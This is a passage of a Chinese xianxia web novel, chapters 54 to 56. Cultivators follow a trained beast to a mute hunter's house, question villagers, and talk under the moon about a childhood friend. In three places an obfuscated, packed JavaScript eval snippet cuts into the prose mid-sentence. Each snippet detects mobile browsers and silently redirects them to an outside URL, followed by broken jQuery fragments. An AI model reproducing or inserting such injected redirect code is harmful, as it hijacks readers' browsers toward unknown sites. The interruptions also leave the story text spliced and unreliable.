“一个月是我能确定无虞的时间,再多就只能跟天争。但最多……也就两个月,”温秋水意味深长地看向同为长老的廖辰,“还是让掌门尽早做好准备吧。” 54. 不远了 满是风霜的粗大手掌捏住了小兽的颌骨,但小兽却依旧紧紧咬住猎物,棕黑色的眼睛瞪着手掌的主人,鼻翼凶狠地扩张。 古詹迅速将另一只手也伸了出去,强行探进了兽口,用力向上一掰。随着一声骨裂,小兽发出尖锐却憋闷的嘶吼,口中的猎物随即掉落。 苏晴沄手疾眼快地接住了避鳞虫的身体,但那已经是一条布满牙洞的躯体,蓝绿色的液体随着躯体的轻微扭动不断从那些破洞中流出来,但也只是几下而已,虫体便完全静止了下来、颜色也渐渐变化成漆黑。 “死了……”苏晴沄喃喃道,手指不禁微微颤抖——前一刻她还以为马上就要揭开天神教的隐秘面纱了——只差一步! 西九岭将一只手搭在她的肩上以示安慰,但自己的眉头也忍不住皱到了一起。 古詹用一条绳索状的法宝捆住了黑红相间的小兽,将它丢在地上,转身去查看苏晴沄手中的避鳞虫。片刻后叹道:“没救了。” 前功尽弃的体验令人愤懑,但苏晴沄告诉自己只能接受现实,然后找出下一步的对策。她做了个深呼吸,看向地上那只生着黑红杂毛的小兽,目光中还是忍不住有些咬牙切齿,“这是赤焰獴?” 那小兽似乎是下颌骨脱臼了,鼻翼不停扩张,头顶的一片红毛都竖起如同燃烧的火焰,可嘴巴却一动不动,微微张开的双唇露出染着蓝绿色痕迹的牙齿,上面还挂着些红色的血丝,可见古詹那一掰是用了狠劲的。 西九岭此刻也将注意力转移到了小兽身上,“这里怎么会有攻击型灵兽?” 古詹将避鳞虫的尸体收好,然后转身蹲到它遭受攻击的地方查看,在灌木丛的下面还遗留着一些淡褐色的粉末残渣。他用手沾了些送到鼻子前闻了闻,又伸出舌头舔了一下,然后闭上眼仔细品味。 “是避鳞虫喜欢的饲料。” “果然是陷阱。”这个世界的灵兽并不常见,大多都饲养在仙道宗门和各大世家,在野外会遇到灵兽突然蹿出来发动攻击,苏晴沄从一开始就不认为是巧合,可是……“为什么是这里?” 古詹并未理解她话中的意思,看了看四周地形,说道:“这里灌木丛生、花香浓郁、西边又是下风口、利于隐匿行踪,赤焰獴埋伏在此狩猎,成功率会很高。” 西九岭却立刻明白了她的意思,放开神识查探四周,“没有人。”说完看向她道,“避鳞虫不会无缘无故在此遭袭,应该是咱们的行动路线被泄露了。” 古詹这才明白了前面那个问题的含义。走了一路,怎么偏偏在这里遇上陷阱了呢? 他想了想,说道:“彻查飞云宗同党的事情在凌国闹得沸沸扬扬,肯定是瞒不住的。但掌握避鳞虫的事情凌王没有跟咱们之外的人讲,老朽也没跟人提过,你们呢?” 西九岭心底一沉,下意识抬眼,立刻跟苏晴沄的视线撞了个正着——穹山内部真的有奸细吗? 苏晴沄想了下道:“这事我跟老爷禀报过,但特地叮嘱他不要告诉别人,我想应该不会泄露出去。” 古詹微微点头,画圣应该不会有什么问题。 西九岭明白这是说只将此事告诉了景王、景后的意思,这两人自然没问题,因为如果手握东半大陆权柄的景王追随了魔神,那天神教就不用如此小心翼翼的跟穹山兜圈子了。 “避鳞虫的事情只有掌门和廖、温二位长老知道。”会是秋水吗? “还是那个问题,为什么是这里?”苏晴沄总觉得有些古怪,“如果真是走漏了消息,那天神教早该知道了。” 她看向西九岭,“因为咱们两人离开皓城之后就把消息汇报上去了,对吧?” 西九岭道:“在确认药粉是喂养避鳞虫之后,廖、温二位长老便知道了。当然,还有掌门。”他瞥了眼古詹。 “所以很奇怪啊。如果早就得到了消息,为什么不立刻动手,而要等到现在?就算在凌国皇宫不好下手,那也可以把陷阱设置在皓城外围,不该让避鳞虫带咱们走了这么远才对啊?”如此一来岂不是帮他们给圣殿的位置画出了范围? 其余两人也陷入了沉思,这确实是个问题。 “如果消息没有泄露,天神教为何要设下这种陷阱?”古詹摸着胸前的骨雕项链,“难道不是天神教设的?是有人发现了天神教的通信方式,想要阻断?” 西九岭摇头道:“如果仙门中有人知晓,必定会跟穹山通气。如果世家中有人知晓,必定会跟景、凌二国通气。咱们三家都未收到消息,所以应该不是。” “那老朽就只能想到一种可能了:对方知道咱们有避鳞虫,也知道咱们会跟随避鳞虫寻找圣殿,但不知道咱们会从哪里出发。” 苏晴沄眼睛一亮,“如果真是如此,那就意味着对方设置陷阱的范围不会太大。” 西九岭也目光炯炯地看向西方,“咱们离圣殿不远了。”但紧接着眼神又暗淡下来,因为这个猜测的前提依旧是有内奸,而他也确实没跟谁提过会从皓城出发。 古詹对自己这个猜测很是满意。他俯下身去开始检查赤焰獴的伤口,然后两三下将它脱臼的下颌骨接了回去。 赤焰獴挣扎了几下,随后龇着牙发出了低沉的嘶吼,头顶的红毛高高炸起,仿佛窜起的火苗。 古詹看着它一脸平静,将一个不知何时拿在手里的小瓶打开,立刻有一股难闻的骚臭味飘出。那赤焰獴瞬间匍匐在地上发出呜呜的哀鸣,头顶的红毛也跟着耷拉下来、随着身体微微颤抖。 苏晴沄双眉紧蹙,捂着鼻子问道:“这是什么?” “雄性蛇颈兽的尿液。”古詹朝她露出一个戏谑的笑,似乎全然不受臭气的影响。 “蛇颈兽是赤焰獴的天敌,”西九岭也觉得很臭,但他没有捂鼻子,“还好您带了这东西,刚好能派上用场。” 古詹从鼻子深处发出一声轻哼,“说话别兜圈子,这种试探老朽在皓城听多了。” 西九岭被他识破了心思也没有窘态,反而笑道:“您别见怪,毕竟知道此行的就咱们几个。” 苏晴沄一手捂着鼻子,一手在面前扇风,“话说,为什么要带这种臭烘烘的东西啊?”正常人不会背着动物的尿液到处跑吧? 古詹一手举着瓶子,一手撸着赤焰獴的后颈,说道:“为了吸引雌兽,为了诱骗天敌,为了吓退弱兽,也可以像现在这样用于收服,灵兽的尿液可是有用的很呢。”说着他又露出戏谑的笑,“老朽身上一共带着三十七种灵兽尿液,你要不要看看?” 苏晴沄一边后退一边用力摆手,“不用,不用,您就自己留着吧。” 古詹大笑几声,然后继续吓唬发抖的赤焰獴。 西九岭思索片刻,说道:“我可以看看吗?”反正这个雪国萨克一直不待见他,恶人就让他来做好了。 古詹冷睨了他一眼,但依旧是将三十几个瓶子从袖中丢了出来,说道:“去下风处看。” 西九岭明白这是怕干扰赤焰獴的嗅觉,于是带着一堆瓶子往下风处走去。 苏晴沄对闻尿没兴趣,就站在稍远处看古詹驯服赤焰獴。 等西九岭确认完三十几个瓶子里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13457793|133627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是不同的尿液返回时,古詹已经开始给赤焰獴喂食,苏晴沄也不再避开,而是蹲在旁边问东问西。 “直接喂吃的不行吗?” “直接喂是不会吃的,必须先慑服它。” “明白,扇一个巴掌给一个甜枣。” “哈哈!你们平原人说话真有意思。” 西九岭将一堆瓶子还给古詹的时候苏晴沄下意识战术性后仰,又惹来古詹一阵爽朗的笑。 西九岭实在佩服这姑娘的亲和力,感觉跟谁都能聊的很愉快,他看向古詹直接问道:“还要多久才能驯服?” 古詹脸上的沟壑加深了一些,“按理说该驯上三、五天的,可如果对方发现赤焰獴没有返回恐怕会有所警惕,因此老朽建议再过一个时辰就行动。” “一个时辰够吗?” “不敢保证,但短期内能让赤焰獴的戒备放松下来,只要它愿意返巢就可以了。”这似乎也是目前唯一的办法了。 事实证明,训练有素的赤焰獴不会轻易放下戒备。 在被古詹涂抹金灵花花蜜并放走之后,赤焰獴就开始在林子里漫无目的地转悠,时不时还停下脚步四下张望,仿佛知道自己被监视一般。 古詹只能控制金灵鸟远远跟踪,以免翅膀扇动发出声音被赤焰獴听到。 就这样,直到傍晚时分赤焰獴才终于停止了兜圈,翻过一座山坡走向了人类的居所。 这是它靠近的第一座建筑物,但当三人看到那个篱笆围起的小院时都忍不住有些失望。 篱笆后面只有两间墙壁斑驳的旧瓦房和一个木板房,院子里放着板凳和水缸,竹制架子上晒着一张兽皮,旁边蹲着个七、八岁大的男孩。小男孩梳着一根朝天小辫儿,正专心把手中的石子弹出去,试图打到前面地上摆着的另一颗石子。 这怎么看都像是个普通人家,完全找不到天神教的影子。 疑惑间,赤焰獴已经越过篱笆墙朝着男孩儿奔去。男孩听到动静扭头来看,见是一只野兽跑近立刻吓得跳了起来,哇哇大叫着往屋子跑。 救人要紧!此时三人也顾不上暴露,齐齐现身冲了上去。 可比他们更快的,有人打开了正屋的房门。紧接着,一个高大粗壮的汉子大踏步走出来,一手将小男孩儿提到了自己身后,另一只手握拳砸向了追上来的赤焰獴。 三人看得真切,那人没有使用灵力。这种凡人的攻击是无法重伤灵兽的,未免赤焰獴反击,他们便没有停下脚步、直接冲进了院子。 可令他们没有想到的是,被打了一拳的赤焰獴就那样倒在了地上,再也没有起来。靠近看时才发现,赤焰獴的整个头骨都被打碎了,凹陷的嘴巴里已经看不见完整的牙齿,一只眼珠碎裂,另一只连着些肉丝耷拉在眼眶外面,伴着流出的淡黄色脑浆格外恐怖。 西九岭想都没想,直接伸手抓住了男人的肩膀。 男人宽大的额头上一双瞳距偏近的小眼睛发出怒火,可他挣了几下都无法摆脱控制,只能哇哇大叫。 “放开俺爹!” 躲在男人身后的男孩跑了出来,抱住西九岭的腿就咬。可西九岭有灵力护体,他这一口下去只觉得牙齿生疼,却连西九岭的衣衫都没有碰到。 苏晴沄怕这孩子伤到自己,连忙用手抓住小孩儿的脖领将其拉开。 就在这时,院外传来一阵急促的脚步声,两个围着皮裙的男人从远处跑来,边跑边朝着院子里的人大叫。 “放开哑巴和狗子!” “再不松手,老子去喊人啦!” 55. 一院子凡人 小院内,两个猎户模样的人蹲在地上用眼角偷瞄着对面三人。 老头儿满面风霜、麻布短打,跟庄稼地里干活儿的没太大区别,可脖子上挂着的骨头项链透着古怪。男人丰神俊朗、青衣竹簪,有点儿像读书人,可苍劲的眉峰透着犀利,一双眼更是深不见底,让人不敢直视。 至于女的……他俩这辈子都没见过这么美的女人!不对,水月楼的陆姐姐年轻时比她漂亮,秀色可餐的让人忍不住流口水。可这女人的感觉不一样,举手投足间有一种奇妙的自在感,让人看着很舒服却又遥不可及,一时间竟然移不开眼睛。 西九岭见两人的视线飘到苏晴沄身上就移不开了,面色不禁一沉,“赶紧回答!” 两人被他这么一吼,吓得回过神来,哆哆嗦嗦道:“什、什么来着?” “哦!记、记起来了!”其中一个反应快的被西九岭冰冷的视线醍醐灌顶,想起了方才的问题,“回禀仙人老爷!俺是闫老三,这是俺哥闫老二,俺们都是猎户,就住在前面岗子上,俺们是来找哑巴喝酒的。” 西九岭看了眼两人斜后方的哑巴。 此时他正坐在院子里的板凳上,小小的凳子在高大壮硕的身体下显得岌岌可危,宽大额头下方那一双瞳距颇近的小眼睛里除了惊惧还有困惑,似乎不明白为什么“仙人”要抓他。 西九岭已经试探过,这哑巴毫无修为,只是筋脉强劲、天生神力,或许因此才能一拳打死灵兽。但赤焰獴毕竟将他们引到了这里,无论如何也不能放弃这条线索。 被闫老三介绍为狗子的男孩儿也没了刚才的愤怒,小脸上写满了怯懦,此时正紧紧抱着父亲的胳膊寻找安全感。 苏晴沄对闫老三的话产生了兴趣,问道:“喝酒应该会聊天吧,你们跟哑巴怎么聊?” 闫老三见苏晴沄走过来下意识想笑,可紧接着就有种被野兽盯上的感觉、浑身汗毛瞬间倒竖起来,连忙低下头答话:“回、回禀仙女老爷,哑巴只是不能说话,听是听得见的,俺们说话他就听着,他想说啥就比划,俺们跟他认识久了,都能明白个七七八八。” 听到他口不择言的称呼,苏晴沄有些无语,但更令她在意的是他答案中有违常理的地方,“即便如此,交流起来也多有不便,尤其是喝酒谈天的时候。你们放着其他人不找,偏来找他喝酒,应该是有什么原因吧?” 闫家兄弟对视一眼,似乎有些犹豫。 西九岭在一旁厉声道:“说实话。” 闫老三一个哆嗦、连忙磕头,“仙女老爷明、明、明……” 闫老二小声提醒道:“明察秋毫。” “对!明察秋毫!俺们其实是来找哑巴去赌坊的。” “去赌坊?!”苏晴沄大惊,哑巴还赌博?但紧接着又觉得自己大惊小怪,不能说话又不影响下注,当然是能赌博的。而且赌博不需要聊什么实质内容,下注后一起瞎喊就行了,确实比喝酒来得可信。 “是,是真的!”闫老三道,“俺们兄弟没啥爱好,就是喜欢赌筛子。哑巴也好这口儿,所以俺们手头儿宽裕的时候就会来叫他一起。” 苏晴沄想接着问话,但又觉得总是哑巴、哑巴的叫人不好,于是指着哑巴问道:“他大名叫什么?” “回禀仙女老爷,哑巴就是哑巴,没名字的。” “没名字?”她疑惑地看向哑巴,后者一双小眼睛呆愣愣的眨了眨,一副不知道名字是啥的模样,那宽大的额头和靠近的瞳距让人不禁觉得他智商也有些问题。 这时闫老二似乎想起了什么,扭头提醒兄弟道:“哑巴爹是吴老头儿。” “啊对!哑巴家是姓吴的,他小时候叫什么来着……反正大家都叫哑巴、哑巴的,吴老头儿死的也早,没人叫哑巴名字,渐渐就都不记得了。” “那狗子呢?也没名字?” 闫家兄弟对视一眼,都摇了摇头。 苏晴沄又看了眼哑巴,觉得这人确实不像会给孩子取正经名字的样子,于是有些同情地看了眼略显胆怯的小男孩儿,蹲下去笑着问:“小朋友,你回答姐姐的问题,姐姐给你买糖吃,好不好?” 狗子似乎有些犹豫地看向父亲,但哑巴却没有给出任何反应,于是他当做了默许,弱弱地问道:“是钱奶奶卖的那种糖吗?” 苏晴沄回头看向闫家兄弟。 闫老三立刻答道:“是济水南街上卖麦芽糖的钱大娘。” 苏晴沄转回头,笑着说道:“可以啊,你回答姐姐问题,姐姐就给你买。” 狗子咽了下口水,怯懦的眼神中现出些许期待地点了点头。 苏晴沄指着地上那具赤焰獴的尸体问道:“这是你家的吗?” 一旁的闫家兄弟眼珠子都要掉出来了,虽然不知道地上那死了的小兽是什么,但他们已经被告知那是灵兽,而且被哑巴打死了,所以仙人老爷们才要抓哑巴的。这神仙养的玩意儿哪儿是他们这些凡人能碰的?狗子要是为了吃糖胡说八道…… 狗子摇了摇头道:“不是。” 还好,闫家兄弟松了口气。打死仙人的神兽就好好认罪,这样应该就只惩罚哑巴就够了吧?可千万别连累他们。 苏晴沄又问:“以前从没见过吗?” 狗子答道:“见过一次。” 苏晴沄一喜,“在哪里?” 狗子指了指东北面,“那边林子里。” “什么时候看见的?” “前天。” 古詹在一旁开口问道:“是同一只吗?” 苏晴沄有些无语,要是两只赤焰獴摆在一起问她,估计她也分不出来,更别说问个小孩子了。 谁知狗子一点儿也没犹豫,直接开口答道:“不是。” 苏晴沄大感意外,“你怎么知道?” “那只尾巴尖儿上有一块三角形的红毛,这只没有。” 苏晴沄看向地面,果然那赤焰獴的尾巴尖儿上的毛虽然有黑有红,但组不成三角形的图案,小孩子的观察力还真是奇怪。她看向古詹,后者向她点了点头。 如果不止一只赤焰獴,那他们之前的猜测多半是对的,天神教只知道他们会带着避鳞虫找来,却不知道从哪个方向来,所以在圣殿附近布下了防御圈。 虽然这么想,但她还是向闫家兄弟确认道:“你们去看看,地上那灵兽是哑巴家的吗?” 突然被问道的闫家兄弟立刻绷直了身子,异口同声道:“不是,不是,神兽是仙人老爷的!” 西九岭瞪了两人一眼,“让你们看,你们就看!看仔细了如实回话!” 似乎是强势的态度起了作用,闫家兄弟颤巍巍站了起来,走过去将那面目全非的赤焰獴上上下下看了个仔细,然后苦着脸回话道:“回仙人老爷,这神兽不是哑巴家的。” “那你们之前见过吗?” “见过的,就在附近林子里,开始俺们还试着抓来着,但跑的太快……要知道是仙人老爷的神兽俺们肯定不敢动心思的!仙人老爷明见啊!” 西九岭没管两人的解释,只问:“第一次见是几天前?” 闫家兄弟有些不确定地对视一眼,异口同声试探道:“七天?”然后在听到兄弟说出同样的答案后语气又一齐转为肯定,“七天!就是七天!” 西、苏二人对视一眼,七天前他们已经离开皓城有三天了,不过考虑到天神教特殊的通信手段需要耗费时间,很可能在他们离开皓城时对方就得到了消息。如此一来,从景国泄露出去的可能性就很小了。 西九岭脸色愈加难看,把地上两个不清楚状况的人吓得抖如筛糠。 就在这时,一道身影迎着夕阳急匆匆奔过来。 圆圆的身子,圆圆的脸庞,圆圆的眼睛,圆圆的鼻子,仿佛一个大圆顶着小圆,小圆里面又套了三个圆点,这令人过目不忘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13489558|133627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人自然不做他想,正是他们的老熟人李琦。 “齐师兄!我来啦!来啦!”李琦带着两个手下,大汗淋漓地跑进院子就是膝盖一弯,但紧接着想起上次的教训,弯了一半的腿又直了回来,浑身上下的圆就这样跟着上下扭了一轮。 苏晴沄正憋笑憋得难受,就听见身后传来噗嗤一声,扭头看去却是古詹笑出了声,而且一声之后更是肆无忌惮的大笑。可恶!她也好想笑,可是又觉得李琦小朋友很可怜…… 截然不同的是闫家兄弟的反应,他们看到李琦现出极度害怕的模样,一个劲儿扣头求饶,称呼也从仙人老爷换成了仙人爷爷,可能是以为监管修士是修士里最大的官儿。 李琦只是接到掌门传讯让他来一下,并不知道发生了什么,结果看到一院子的凡人,当即有点儿发懵。 西九岭用传音跟他说明了情况,然后指着哑巴道:“这人没有修为,不过赤焰獴毕竟找到了他家,所以要带回去审一下。” 李琦听说与天神教有关,也知兹事体大,于是又看向跪在地上的闫家兄弟,问道:“这两人是不是也一起带回去审?” 闫家兄弟一听要抓他们,连忙一通磕头,“仙人爷爷饶命啊!俺们就是来找哑巴去个赌坊,啥也没干,啥也不知道啊!” 李琦用公式化的眼神看着他俩肃然道:“你们经常跟他一起去赌坊,对他的情况和人际关系应该都很清楚吧?” 两人听出了话中的意思,蔫儿哒哒地低下了头。 苏晴沄忽然在一旁问道:“哑巴的妻子呢?” 众人这才发现此时哑巴已经在一名修士的指示下站起了身,可狗子却紧紧地抱住了父亲的腿,眼神有些不知所措。 是啊,这半天都没看到女主人出现,狗子应该不是捡的吧? 狗子第一个暴跳起来,使劲叫嚷着:“俺爹没老婆!俺没娘!没娘!” 苏晴沄看向哑巴,后者那双一直有些呆愣的小眼睛明显露出了不耐烦的神色,双手在空中比划着什么。 “他老婆跑了。” 随着闫老三的一句回答,满院静默。所有人的视线都集中到了哑巴身上,如果这人真的是天神教徒,那这天神教徒有点儿绿啊…… ———————————正邪两边的分割线——————————— 昏暗的烛光中,魔神像的倒影在青石地板上跳动不休。 男人跪在阴影之下,深深叩首道:“感谢我主降下神谕,令圣殿得以安稳。” 白玉石桌上摆放的黄金魔神像半明半暗,一团黑气浮在上方,如魔神像投影般的巨大影像在黑气的包裹中微微晃动,生着犀角的黑色马头龇着熊齿、声音混沌:来人是谁? 男人立刻恭敬地答道:“一共三人,一个是雪国前任大祭司古詹,徐翰之前搜集过此人的资料,他现在为凌王办事。另外两个,男的是穹山齐鹤扬,女的是画圣侍女酒夕。但我主曾降下神谕,那齐鹤扬已成宿体,故而其中必定有诈。您的仆人绘制了两人的画像,希望我主能够给予启示。” 黑色马头嗯了一声。 男人取出两张画像,起身走近白玉桌前。在那里的地板上,一个用鲜血画成的献祭法阵赫然在目。男人将两张画像放在法阵的中心,然后退到边缘,开始一边叩拜一边祷告。 片刻后,那两张画纸自行漂浮起来,然后在半空中燃起了黑色的火焰,最终烧得干干净净。 之后黑色马头便再度开口:呵,这个齐鹤扬是西九岭。 男人有些惊讶,“穹山掌门?” 黑色马头继续道:听说他最近喜欢上了一个女人。 男人再度感到惊讶,“就是这个酒夕吗?他是为此才退婚的?” 黑色马头发出了轻蔑的哼声:这不重要,重要的是——你得到了一个机会。 男人眼珠一转,立刻领会了祂的意思,目光射出兴奋的光。 56. 月下心声 狗子的生母叫作柳艳红,是跟着父母从西南边逃难过来的。一家人在树林里找果子的时候遇上了狼群,两个老人都死了,柳艳红则被路过的哑巴救了下来。 她在哑巴家养了一个月的伤,好了之后就嫁给了哑巴。 哑巴不仅不会说话,而且脑子也不好使,是个典型的傻大个儿。可柳艳红却是明眸皓齿、顾盼生辉的美女。 所以当年两人结婚的时候闫家兄弟还颇为嫉妒了一阵,觉得哑巴是捡了大便宜。 柳艳红嫁给哑巴后的第二年生下了狗子,那之后就渐渐显露出了不安分的本性。起初是跟哑巴哭说自己可怜,让哑巴带自己和狗子进城去散心,时不时买些胭脂水粉回来。 等到狗子一岁,她就开始趁着哑巴打猎的时候将狗子托付给附近猎户家的女眷照顾,然后自己一个人进城。 每次叫人帮忙都说一会儿来接,可每次都是过了大半天,一来二去就没人肯帮她照看狗子了。 本以为如此一来她就只能老老实实在家带孩子,谁知道她竟然想出了其他办法。每天披星戴月的起床,赶在哑巴进山打猎前就先一步出门,把狗子丢给哑巴。然后哑巴不知道该怎么办了,就会抱着狗子挨家挨户找人帮忙。 哑巴虽然呆傻残疾,可他心肠好、力气又大,这些年没少给邻里帮忙,还有猎户在山里被他救过,因此大家看到他那可怜模样就不忍心,只得伸手帮忙,狗子就是这样吃着百家饭长大的。 狗子快两岁的时候,突然有一天济水城君家派了管家来找哑巴,给了他二十两银子,那之后柳艳红就再也没有回来过。 后来去打听才知道,柳艳红不知用什么手段搭上了富商君百,给人家做了外室。 闫家兄弟说他们当初还曾经带着哑巴一起上门讨公道,没想到柳艳红理直气壮地说:“不过是救了我一次,给你生个儿子还不够吗?”反倒是在门口碰上的君老爷可怜一个男人带孩子,交代管家以后每月给哑巴送五两银子。 说到这里时,闫家兄弟又露出了羡慕的神情,或许在他们看来哑巴并不吃亏。睡了漂亮女人,得了个儿子,每月还有五两银子拿。 关于赌博,闫家兄弟是这么说的:“俺们就是偶尔拿私房钱去过过手瘾,万一赢了还能喝顿小酒不是?那阵子哑巴心情不好,打猎也没精神,俺们就带他一起去散心。没想到这家伙疯的很,一下子就把君老爷给的银子全赌了!二十两啊!整整二十两!” 那之后哑巴就喜欢上了赌博,每次都是把钱输光为止,所以虽然他打猎的本事很强,可总也攒不下银子。即便每月有君家给的五两银子,狗子还是要经常去挖野菜吃。 讲完狗子母亲的事,闫家兄弟就和哑巴一起被李琦带了回去。古詹也与众人告辞,回凌国复命。西、苏二人则带着狗子去柳艳红的住处。 此时的狗子吃着苏晴沄给他买的麦芽糖,黑瘦的小脸上第一次有了笑容。苏晴沄不禁有些同情这孩子,爹娘都不靠谱儿,能长这么大可真是不容易。 按着闫家兄弟描述的路线,两人带着狗子沿穿城而过的济水河一路往下游走。左右的街道由高门大户变为酒肆商铺,又由酒肆商铺变为花街旅社,然后开始出现临河联排的独门小院。 两人在路过一座小石桥后向右转去,立刻看到了一间临河小院的院门,高大的石榴树从院墙里探出头来,艳红的石榴花在暮色中格外娇媚。 狗子仿佛忽地明白过来这是哪里,紧抓住没吃完的糖掉头就跑。 苏晴沄眼疾手快一把抓住了他的后脖领子,将他提了回来。 “俺不去!俺不去!俺要找爹!” 苏晴沄想说一个赌徒爹有什么好的?但转念一想,即便呆愣好赌但终归是陪在孩子身边,比起那个给人当外室的娘,这个爹确实更值得信任。 正不知道该如何劝解,就见院门突地打开了,一个婆子端着盆水出来,直接就往外泼。 苏晴沄连忙拎着狗子一个闪身避开了脏水,西九岭则皱着眉头往前站了一步,为两人挡下了零星的水珠。 还没等他们责问,那婆子便拎着水盆叉腰喝到:“在别人门口大呼小叫的,是爹死了,还是娘嫁人啊!” 敢情是故意往他们身上泼水的! 苏晴沄手上拎着狗子,心里不断提醒自己此行的目的,“这里是柳艳红家吧?” “俺没娘!放开俺!放开俺!” 挣扎的狗子引起了婆子的注意,她仔细盯着看了片刻,似乎终于明白了狗子是谁,乖张的脸孔露出一丝迟疑。 西九岭上前一步追问道:“是不是柳艳红家?” 那婆子回过神来,上下打量了一遍西九岭的穿着,然后乖张的神情又回到了脸上,讥讽道:“我们夫人可不是谁都能见的!” 西九岭眉头一蹙,沉声道:“我们只是把她儿子送过来。” 婆子瞥了眼狗子,然后冷哼一声,扭动着肥腰直接伸手去关门,就跟没听见西九岭说话一般。 “嗳!”苏晴沄心里火气,松开狗子伸手去拦她,“你倒是往里面递个话啊!” 门板在她手中一动不动,那婆子几番用力都没能关上,不觉面色微变。 就在这时,院里小楼的二层上传出了懒洋洋的女人声音:“怎么?每月五两还不够吃,想从我这里再讹点儿吗?” 苏晴沄抬头看向二楼窗户的同时听到了身后的脚步声,她急忙转身去看,果然见狗子已经跑走,而西九岭则追了上去将他抓进怀里。 关门的声音从背后传来,她却没有回头,只是看着狗子在西九岭怀中不停挣扎,脸上的泪水和着麦芽糖混乱一片,嘴里却没有发出半点声音。 四周已经围上了不少人,此时都对着狗子指指点点、嘀嘀咕咕。她突然有些后悔带狗子过来,因为心底的想象永远都不如现实的直击来得残酷。 最终,他们只得将狗子送到了穹山察院、交给李琦。于是这位刚刚找到懂哑语之人的监管修士,又顶着一副欲哭无泪的大圆脸去找保姆了。 西九岭的传讯符从下午就开始闪烁,此时才终于得空去查看消息。无事可做的苏晴沄便一个人溜溜达达进了后院,在角落上随便找了棵枝条粗壮的大树,坐上去看月亮。 这里的月亮不似高原上那般清澈明亮,轻纱般的但淡云萦绕在旁,如月亮的披帛一般朦胧缥缈,美得更加似水如梦。 过了一会儿,她想起来之前西九岭给的酒壶里还剩一半,于是拿出来小酌。喝了几口后才听到树下有动静,低头时就见西九岭从下面跃了上来、挨着她坐下。 她发现西九岭的脸色不好,于是开口询问:“有事?” 西九岭没有直接回答,而是反问道:“我跟你讲过阿玦的事情吗?” “玉玦?” “嗯。” “听说他跟你一样是玉城遗孤。” “是。”西九岭望着天中皎月,缓缓开口,“我们是被师父带回穹山的,从有记忆以来就整天跟在师父后面,师父看书我们就撕纸,师父采药我们就玩儿泥巴,师父闭关或下山,我们就跟着大师兄。 山上最小的师兄也有十几岁,那时候的我觉得只有阿玦是跟我一样的,只有阿玦才能够理解我,所以我只跟阿玦玩儿。 但后来想起来,他的性格其实跟我大相径庭。他从小就乖巧懂事,跟同门也都相处融洽,喜欢读书、师父交代的事情都能做好。而我则调皮好动、随性妄为,撕书的是我,弄一身泥巴的也是我,他只是在一边陪我挨训罢了。 三岁开始,阿玦就可以吐纳灵气,炼气、筑基都比我早。我那时候很羡慕他,可他却说他羡慕我。 直到五、六岁大,我才发现师父和大师兄对我俩是不同的。虽然我常常犯错,但挨训的却总是阿玦。那时我以为是阿玦本事大,所以师父和师兄才对他有所期待,也更加严厉。 可到了七岁那年,我第一次梦见了。师父发现我有梦见天赋之后就开始专心培养我,那段时间我发现自己还是很少被训斥,师父和师兄总是夸我,那时候我隐隐意识到他们对阿玦是不公的。 可阿玦的脾气很好,他总是温和的笑着,仿佛遇到什么事情也不会生气,我每次闯祸都是他来收拾烂摊子,就像一个可靠的兄长。 在我心里,师父虽然亲近却更多威严,大师兄虽有情谊但过于严肃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13499296|133627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只有阿玦,是从小陪在我身边的家人,是最亲近的兄弟。 可我,却在十九岁那年亲手将这个兄弟推向了深渊。” 西九岭的目光依旧沉静,苏晴沄的睫毛却忍不住颤了一下,那夜色中的青衣愈加深邃,月光洒在上面更显几分清冷。 “那是我刚刚结丹的时候,师父让早一年迈入金丹的阿玦带我去山下历练。除了我们两人还有三位师兄,也都是金丹修为,我们剿灭了一处魔修据点。也不过七八个人,都只有炼气和筑基的修为,所以很顺利就完成了任务。 本来按惯例是要将魔功典籍和丹药全部销毁的,可我却出于好奇私藏了一本幻术秘籍。其实我只是想知道魔修功法与我们有何不同,可阿玦发现了却很紧张,让我赶紧销毁。 遗憾的是,我不但没有听他的,反而将里面的内容念给他,还问他怎么理解。 那书中术法与穹山截然不同,我看得如同云雾,可阿玦却很快就懂了。我让他讲给我,他却不肯,只是一味的让我销毁。于是我就跟他说,如果你能学会一个幻术演示给我看,我就把书销毁了。” “他答应了?” “嗯。” “然后呢?学会了吗?” 西九岭嘴角浮现一丝苦笑,“学会了,也演示给我看了。可没想到的是,那时候大师兄正在附近。” 一听说齐远山出现,苏晴沄冒出不详的念头,她记得那人很是迂腐。 果然就听西九岭接着说道:“大师兄把阿玦和那本幻术秘籍一起带到了师父面前,要求师父严惩阿玦。” “可那书是你带回来的……” “是。可不管我如何解释都没有用,阿玦还是被罚去了思过崖面壁三年。” “三年?”这也太久了吧? 